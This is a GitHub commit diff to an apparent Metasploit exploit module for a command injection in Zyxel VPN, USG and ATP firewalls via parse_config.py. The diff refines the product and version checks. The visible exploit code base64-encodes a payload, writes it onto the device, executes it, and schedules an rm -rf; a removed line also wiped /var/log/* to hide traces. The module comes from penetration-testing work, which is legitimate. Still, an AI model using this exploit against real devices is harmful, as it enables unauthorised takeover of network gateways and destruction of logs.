Skip to content

Commit 9955724

Browse files
committed
Fixed check method, responded to comments
1 parent d13ce0b commit 9955724

File tree

1 file changed

+25
-23
lines changed

1 file changed

+25
-23
lines changed

modules/exploits/linux/http/zyxel_parse_config_rce.rb

Lines changed: 25 additions & 23 deletions
Original file line numberDiff line numberDiff line change
@@ -8,15 +8,16 @@ class MetasploitModule < Msf::Exploit::Remote
88

99
include Msf::Exploit::Remote::HttpClient
1010
include Msf::Exploit::FileDropper
11+
prepend Msf::Exploit::Remote::AutoCheck
1112

1213
def initialize(info = {})
1314
super(
1415
update_info(
1516
info,
1617
'Name' => 'Zyxel parse_config.py Command Injection',
1718
'Description' => %q{
18-
This module exploits vulnerabilities in multiple Zyxel Products including VPN and USG devices (hopefully,
19-
this is still in draft at the time of writing). The affected firmware version is 5.21 thru to 5.36.
19+
This module exploits vulnerabilities in multiple Zyxel devices including the VPN, USG and APT series.
20+
The affected firmware versions depend on the device module, see this module's documentation for more details.
2021
},
2122
'Author' => [
2223
'SSD Secure Disclosure technical team', # discovery
@@ -38,7 +39,7 @@ def initialize(info = {})
3839
'Notes' => {
3940
'Stability' => [ CRASH_SAFE, ],
4041
'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ],
41-
'Reliability' => [ REPEATABLE_SESSION, ]
42+
'Reliability' => [ ] # This vulnerability can only be exploited once, more info: https://vulncheck.com/blog/zyxel-cve-2023-33012#you-get-one-shot
4243
}
4344
)
4445
)
@@ -57,12 +58,25 @@ def check
5758
})
5859
return CheckCode::Unknown('No response from /ext-js/app/common/zld_product_spec.js') if res.nil?
5960

60-
if res.code == 200 && res.body =~ /ZLDCONFIG_CLOUD_HELP_VERSION=(\w+)/
61-
return CheckCode::Appears("Detected #{Regexp.last_match(1)}.") if Rex::Version.new(Regexp.last_match(1)) < Rex::Version.new('5.36')
62-
63-
return CheckCode::Safe
61+
if res.code == 200
62+
product_match = res.body.match(/ZLDSYSPARM_PRODUCT_NAME1="([^"]*)"/)
63+
version_match = res.body.match(/ZLDCONFIG_CLOUD_HELP_VERSION=([\d.]+)/)
64+
65+
if product_match && version_match
66+
product = product_match[1]
67+
version = version_match[1]
68+
69+
if (product.starts_with?('USG') && product.includes?('W') && Rex::Version.new(version) <= Rex::Version.new('5.36.2') && Rex::Version.new(version) >= Rex::Version.new('5.10')) ||
70+
(product.starts_with?('USG') && !product.includes?('W') && Rex::Version.new(version) <= Rex::Version.new('5.36.2') && Rex::Version.new(version) >= Rex::Version.new('5.00')) ||
71+
(product.starts_with?('ATP') && Rex::Version.new(version) <= Rex::Version.new('5.36.2') && Rex::Version.new(version) >= Rex::Version.new('5.10')) ||
72+
(product.starts_with?('VPN') && Rex::Version.new(version) <= Rex::Version.new('5.36.2') && Rex::Version.new(version) >= Rex::Version.new('5.00'))
73+
return CheckCode::Appears("Product: #{product}, Version: #{version}")
74+
else
75+
return CheckCode::Safe("Product: #{product}, Version: #{version}")
76+
end
77+
end
6478
end
65-
CheckCode::Unknown('Version info was not found.')
79+
CheckCode::Unknown('Version and product info were unable to be determined.')
6680
end
6781

6882
def exploit
@@ -74,7 +88,7 @@ def exploit
7488
command = payload.encoded
7589
command += <<~CMD
7690
2>/var/log/ztplog 1>/var/log/ztplog
77-
(sleep 10 && /bin/rm -rf #{payload_filepath} /share/ztp/* /var/log/* /db/etc/zyxel/ftp/tmp/coredump/* /tmp/sdwan_interface/*) &
91+
(sleep 10 && /bin/rm -rf #{payload_filepath}) &
7892
CMD
7993
command = "echo #{Rex::Text.encode_base64(command)} | base64 -d > #{payload_filepath} ; . #{payload_filepath}"
8094

@@ -91,7 +105,7 @@ def exploit
91105
'uri' => normalize_uri(target_uri.path, 'ztp', 'cgi-bin', 'parse_config.py'),
92106
'data' => data.to_s
93107
})
94-
fail_with(Failure::UnexpectedReply, 'The response from the target indicates the payload transfer was unsuccessful') if file_write_res && file_write_res.body.include?('ParseError: 0xC0DE0005')
108+
fail_with(Failure::PayloadFailed, 'The response from the target indicates the payload transfer was unsuccessful') if file_write_res && file_write_res.body.include?('ParseError: 0xC0DE0005')
95109
register_files_for_cleanup(payload_filepath)
96110
print_good('File write was successful.')
97111

@@ -111,18 +125,6 @@ def exploit
111125
'data' => data.to_s
112126
})
113127

114-
fail_with(Failure::UnexpectedReply, 'The response from the target indicates the payload transfer was unsuccessful') if cmd_injection_res && cmd_injection_res.body.include?('ParseError: 0xC0DE0005')
115-
116-
# Unecessary if running a fetch payload though adding for testing
117-
cmd_ouput_res = send_request_cgi({
118-
'method' => 'GET',
119-
'uri' => normalize_uri(target_uri.path, 'ztp', 'cgi-bin', 'dumpztplog.py')
120-
})
121-
122-
output = cmd_ouput_res.body.split("</head>\n<body>")[1]
123-
output = output.split("</body>\n</html>")[0]
124-
output = output.gsub("\n\n<br>", '')
125-
output = output.gsub("[IPC]IPC result: 1\n", '')
126-
print_good("Command output: #{output}")
128+
fail_with(Failure::PayloadFailed, 'The response from the target indicates the payload transfer was unsuccessful') if cmd_injection_res && cmd_injection_res.body.include?('ParseError: 0xC0DE0005')
127129
end
128130
end

0 commit comments

Comments
 (0)